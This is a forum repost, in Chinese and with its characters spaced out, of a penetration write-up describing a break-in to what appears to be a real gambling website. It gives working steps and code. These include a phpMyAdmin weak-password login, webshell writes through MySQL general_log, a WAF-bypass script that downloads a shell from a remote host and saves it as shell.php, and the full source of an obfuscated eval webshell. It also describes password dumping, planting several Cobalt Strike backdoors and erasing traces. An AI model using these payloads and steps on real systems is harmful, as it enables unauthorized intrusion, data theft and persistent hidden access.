搜索

[18022] 2021-07-05_【渗透实战系列】｜13-waf绕过拿下赌博网站

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2021-07-05_【渗透实战系列】｜13-waf绕过拿下赌博网站 【 渗 透 实 战 系 列 】 ｜ 1 3 - w a f 绕 过 拿 下 赌 博 网 站 n e w l i f e s   H a c k i n g 黑 白 红   2 0 2 1 - 0 7 - 0 5 涉 及 知 识 点 涉 及 知 识 点 确 定 目 标 确 定 目 标 收 集 信 息 收 集 信 息 首 先 常 规 测 试 方 法 一 顿 怼 ， 目 录 扫 描 ， 端 口 扫 描 ， j s 文 件 ， 中 间 件 ， 指 纹 识 别 ， 反 正 该 上 的 都 上 。 。 。 。 随 手 加 个 路 径 ， 报 错 了 ， 当 看 到 这 个 界 面 我 瞬 间 就 有 思 路 了 信 息 搜 集 弱 口 令 p h p m y a d m i n 拿 s h e l l 绕 过 w a f , 哥 斯 拉 的 免 杀 s h e l l 抓 密 码 远 程 连 接 c o b a l t   s t r i k e 留 后 门 痕 迹 清 理 x . x . x . x
为 什 么 这 么 说 呢 ， 因 为 之 前 我 就 碰 见 过 这 样 的 网 站 报 错 ，   这 是 一 个 p h p 集 成 环 境 , 叫 u p u p w ， 跟 p h p s t u d y 是 一 样 的 突 破 点 突 破 点 这 个 集 成 环 境 包 也 有 个 p h p i n f o 的 页 面 ， 跟 数 据 库 管 理 界 面 测 试 一 下 弱 口 令 u p u p w   - - >   p m d   p h p s t u d y   - - >   p h p m y a d m i n u . p h p r o o t / r o o t
连 接 成 功 后 就 可 以 看 到 p h p i n f o 的 页 面 好 了 现 在 问 题 变 成 p h p m y a d m i n 拿 s h e l l g e t s h e l l 三 步 拿 s h e l l
当 执 行 第 三 步 的 时 候 页 面   卡 在 执 行 中 。 。 。 没 有 反 应   瞬 间 感 觉 不 对 ， 可 能 存 在 w a f 换 了 个 免 杀 马 试 试 ， 先 写 到 t x t 里 边 看 看 成 否 成 功 没 有 任 何 问 题 ， 下 面 直 接 写 入 p h p 文 件 可 以 写 入 ， 直 接 去 连 接 s h e l l s e t   g l o b a l   g e n e r a l _ l o g = ' o n ' ; S E T   g l o b a l   g e n e r a l _ l o g _ f i l e = ' D : / x x x x / W W W / c m d . p h p ' ; S E L E C T   ' < ? p h p   a s s e r t ( $ _ P O S T [ " c m d " ] ) ; ? > ' ;
果 然 有 w a f , 当 时 写 入 的 时 候 就 感 觉 到 了 ， 不 免 杀 的 s h e l l ， s q l 语 句 执 行 不 了 绕 过 绕 过 w a f 怼 了 半 天 都 不 知 道 是 什 么 鬼 w a f ， 用 下 载 文 件 试 试 为 了 避 免 拦 截 p h p 代 码 的 w a f ， 我 这 里 远 程 下 载 的 脚 本 是 利 用 J a v a S c r i p t 转 写 p h p 访 问 1 1 . p h p   就 会 生 成 s h e l l . p h p 这 里 的 s h e l l 也 是 用 了 哥 斯 拉 的 免 杀 s h e l l S E T   g l o b a l   g e n e r a l _ l o g _ f i l e = ' C : / U s e r s / A d m i n i s t r a t o r / D e s k t o p / U P U P W _ A P 5 . 5 _ 6 4 / h t d o c s / 1 1 . p h p ' ; S E L E C T   ' < s c r i p t   l a n g u a g e = " p h p " >   $ a = " h t t p : / / x . x . x . x : 8 1 / s h e l l . t x t " ; $ b = " f i l e " . " _ g " . " e t _ " . " c o n t e n t s " ; $ b   =   $ b ( $ a ) ; f i l e _ p u t _ c o n t e n t s ( " s h e l l . p h p " , $ b ) ;   < / s c r i p t > '
< ? p h p         s e s s i o n _ s t a r t ( ) ;         @ s e t _ t i m e _ l i m i t ( 0 ) ;         @ e r r o r _ r e p o r t i n g ( 0 ) ;         f u n c t i o n   E ( $ D , $ K ) {                 f o r ( $ i = 0 ; $ i < s t r l e n ( $ D ) ; $ i + + )   {                         $ D [ $ i ]   =   $ D [ $ i ] ^ $ K [ $ i + 1 & 1 5 ] ;                 }                 r e t u r n   $ D ;         }         f u n c t i o n   Q ( $ D ) {                 r e t u r n   b a s e 6 4 _ e n c o d e ( $ D ) ;         }         f u n c t i o n   O ( $ D ) {                 r e t u r n   b a s e 6 4 _ d e c o d e ( $ D ) ;         }         $ P = ' p a s s ' ;         $ V = ' p a y l o a d ' ;         $ T = ' 3 c 6 e 0 b 8 a 9 c 1 5 2 2 4 a ' ;         i f   ( i s s e t ( $ _ P O S T [ $ P ] ) ) {                 $ F = O ( E ( O ( $ _ P O S T [ $ P ] ) , $ T ) ) ;                 i f   ( i s s e t ( $ _ S E S S I O N [ $ V ] ) ) {                         $ L = $ _ S E S S I O N [ $ V ] ;                         $ A = e x p l o d e ( ' | ' , $ L ) ;                         c l a s s   C { p u b l i c   f u n c t i o n   n v o k e ( $ p )   { e v a l ( $ p . " " ) ; } }                         $ R = n e w   C ( ) ;                         $ R - > n v o k e ( $ A [ 0 ] ) ;                         e c h o   s u b s t r ( m d 5 ( $ P . $ T ) , 0 , 1 6 ) ;                         e c h o   Q ( E ( @ r u n ( $ F ) , $ T ) ) ;                         e c h o   s u b s t r ( m d 5 ( $ P . $ T ) , 1 6 ) ;                 } e l s e {                         $ _ S E S S I O N [ $ V ] = $ F ;                 }         }
尝 试 了 这 么 多 次 进 程 里 没 有 w a f 进 程 权 限 是 s y s t e m
脱 源 码 脱 源 码 上 传 抓 密 码 工 具 ， 直 接 获 取 管 理 密 码 , 登 上 服 务 器
留 后 门 ， 清 理 痕 迹 留 后 门 ， 清 理 痕 迹 多 留 几 个 后 门 ， 万 一 被 删
这 个 网 段 还 有 这 么 多 机 器 源 码 源 码 打 开 源 码 才 发 现 w a f 是 3 6 0 w e b s c a n
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理